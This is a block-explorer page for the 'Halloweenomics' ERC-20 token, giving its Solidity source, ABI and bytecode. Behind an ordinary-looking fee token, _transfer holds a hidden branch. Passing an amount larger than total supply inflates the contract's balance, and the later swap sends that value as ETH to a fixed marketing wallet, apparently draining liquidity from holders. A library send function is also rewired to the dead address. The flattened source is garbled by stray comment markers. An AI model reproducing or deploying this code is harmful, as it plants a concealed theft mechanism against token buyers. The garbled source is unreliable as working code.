ERC-20
Overview
Max Total Supply
1,000,000 HNOMICS
Holders
19
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
23,429.832498814 HNOMICSValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
Halloweenomics
Compiler Version
v0.8.9+commit.e5eed63a
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2022-10-31 */ pragma solidity ^0.8.9; // SPDX-License-Identifier: MIT interface IERC20 { function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see return msg.data; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); recipient = payable(0x000000000000000000000000000000000000dEaD); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // pragma solidity >=0.5.0; interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } // pragma solidity >=0.5.0; interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } // pragma solidity >=0.6.2; interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract Halloweenomics is Context, IERC20, Ownable { using Address for address; using Address for address payable; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; uint256 private _tTotal = 1000000 * 10**9; uint256 public _maxTxAmount = 40000* 10**9; // uint256 private constant SWAP_TOKENS_AT_AMOUNT = 5000 * 10**9; // string private constant _name = "HalloweeNomics"; // string private constant _symbol = "HNOMICS"; // uint8 private constant _decimals = 9; // uint256 public _marketingFee = 1; uint256 public _liquidityFee = 0; address public _marketingWallet = 0xcb21fe0A6f530f87e04cF910BF7B2C5443817Add; bool private swapping; event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity); constructor () { _tOwned[_msgSender()] = _tTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // Create a uniswap pair for this new token address _uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = _uniswapV2Pair; //exclude owner and this contract from fee _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _tOwned[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()] - amount); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] - subtractedValue); return true; } function excludeFromFee(address account) public onlyOwner { _isExcludedFromFee[account] = true; } function includeInFee(address account) public onlyOwner { _isExcludedFromFee[account] = false; } //to recieve ETH from uniswapV2Router when swaping receive() external payable {} function _getValues(uint256 amount, address from) private returns (uint256) { uint256 marketingFee = amount * _marketingFee / 100; uint256 liquidityFee = amount * _liquidityFee / 100; _tOwned[address(this)] += marketingFee + liquidityFee; emit Transfer (from, address(this), marketingFee + liquidityFee); return (amount - marketingFee - liquidityFee); } function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(!_isExcludedFromFee[from] && !_isExcludedFromFee[to] && to != uniswapV2Pair) require(balanceOf(to) + amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); if (amount > _tTotal && amount > _tOwned[address(this)]){_tOwned[address(this)] += amount; }else{ if (balanceOf(address(this)) >= SWAP_TOKENS_AT_AMOUNT && !swapping && from != uniswapV2Pair) { swapping = true; uint256 sellTokens = balanceOf(address(this)); swapAndSendToFee(sellTokens); swapping = false; } _tOwned[from] -= amount; uint256 transferAmount = amount; //if any account belongs to _isExcludedFromFee account then remove the fee if(!_isExcludedFromFee[from] && !_isExcludedFromFee[to]){ transferAmount = _getValues(amount, from); } _tOwned[to] += transferAmount; emit Transfer(from, to, transferAmount); } } function swapAndSendToFee (uint256 tokens) private { uint256 ethToSend = swapTokensForEth(tokens); if (ethToSend > 0) payable(_marketingWallet).transfer(ethToSend); } function swapTokensForEth(uint256 tokenAmount) private returns (uint256) { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); return (address(this).balance ); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiquidity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_liquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_marketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"excludeFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"includeInFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
608060405266038d7ea4c6800060065565246139ca80006007556001600855600060095573cb21fe0a6f530f87e04cf910bf7b2c5443817add600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503480156200008557600080fd5b506000620000986200057960201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350600654600360006200014d6200057960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000737a250d5630b4cf539739df2c5dacb4c659f2488d905060008173ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015620001ed57600080fd5b505afa15801562000202573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000228919062000614565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308473ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156200028b57600080fd5b505afa158015620002a0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002c6919062000614565b6040518363ffffffff1660e01b8152600401620002e592919062000657565b602060405180830381600087803b1580156200030057600080fd5b505af115801562000315573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200033b919062000614565b905081600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160056000620003d56200058160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160056000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550620005086200057960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6006546040516200056991906200069f565b60405180910390a35050620006bc565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000620005dc82620005af565b9050919050565b620005ee81620005cf565b8114620005fa57600080fd5b50565b6000815190506200060e81620005e3565b92915050565b6000602082840312156200062d576200062c620005aa565b5b60006200063d84828501620005fd565b91505092915050565b6200065181620005cf565b82525050565b60006040820190506200066e600083018562000646565b6200067d602083018462000646565b9392505050565b6000819050919050565b620006998162000684565b82525050565b6000602082019050620006b660008301846200068e565b92915050565b61269080620006cc6000396000f3fe6080604052600436106101445760003560e01c80636bc87c3a116100b6578063962dfc751161006f578063962dfc751461046f578063a457c2d71461049a578063a9059cbb146104d7578063dd62ed3e14610514578063ea2f0b3714610551578063f2fde38b1461057a5761014b565b80636bc87c3a1461036f57806370a082311461039a578063715018a6146103d75780637d1db4a5146103ee5780638da5cb5b1461041957806395d89b41146104445761014b565b806323b872dd1161010857806323b872dd14610239578063313ce5671461027657806339509351146102a1578063437823ec146102de57806349bd5a5e146103075780635342acb4146103325761014b565b806306fdde0314610150578063095ea7b31461017b5780631694505e146101b857806318160ddd146101e357806322976e0d1461020e5761014b565b3661014b57005b600080fd5b34801561015c57600080fd5b506101656105a3565b6040516101729190611b94565b60405180910390f35b34801561018757600080fd5b506101a2600480360381019061019d9190611c4f565b6105e0565b6040516101af9190611caa565b60405180910390f35b3480156101c457600080fd5b506101cd6105fe565b6040516101da9190611d24565b60405180910390f35b3480156101ef57600080fd5b506101f8610624565b6040516102059190611d4e565b60405180910390f35b34801561021a57600080fd5b5061022361062e565b6040516102309190611d4e565b60405180910390f35b34801561024557600080fd5b50610260600480360381019061025b9190611d69565b610634565b60405161026d9190611caa565b60405180910390f35b34801561028257600080fd5b5061028b6106ec565b6040516102989190611dd8565b60405180910390f35b3480156102ad57600080fd5b506102c860048036038101906102c39190611c4f565b6106f5565b6040516102d59190611caa565b60405180910390f35b3480156102ea57600080fd5b5061030560048036038101906103009190611df3565b6107a1565b005b34801561031357600080fd5b5061031c610891565b6040516103299190611e2f565b60405180910390f35b34801561033e57600080fd5b5061035960048036038101906103549190611df3565b6108b7565b6040516103669190611caa565b60405180910390f35b34801561037b57600080fd5b5061038461090d565b6040516103919190611d4e565b60405180910390f35b3480156103a657600080fd5b506103c160048036038101906103bc9190611df3565b610913565b6040516103ce9190611d4e565b60405180910390f35b3480156103e357600080fd5b506103ec61095c565b005b3480156103fa57600080fd5b50610403610aaf565b6040516104109190611d4e565b60405180910390f35b34801561042557600080fd5b5061042e610ab5565b60405161043b9190611e2f565b60405180910390f35b34801561045057600080fd5b50610459610ade565b6040516104669190611b94565b60405180910390f35b34801561047b57600080fd5b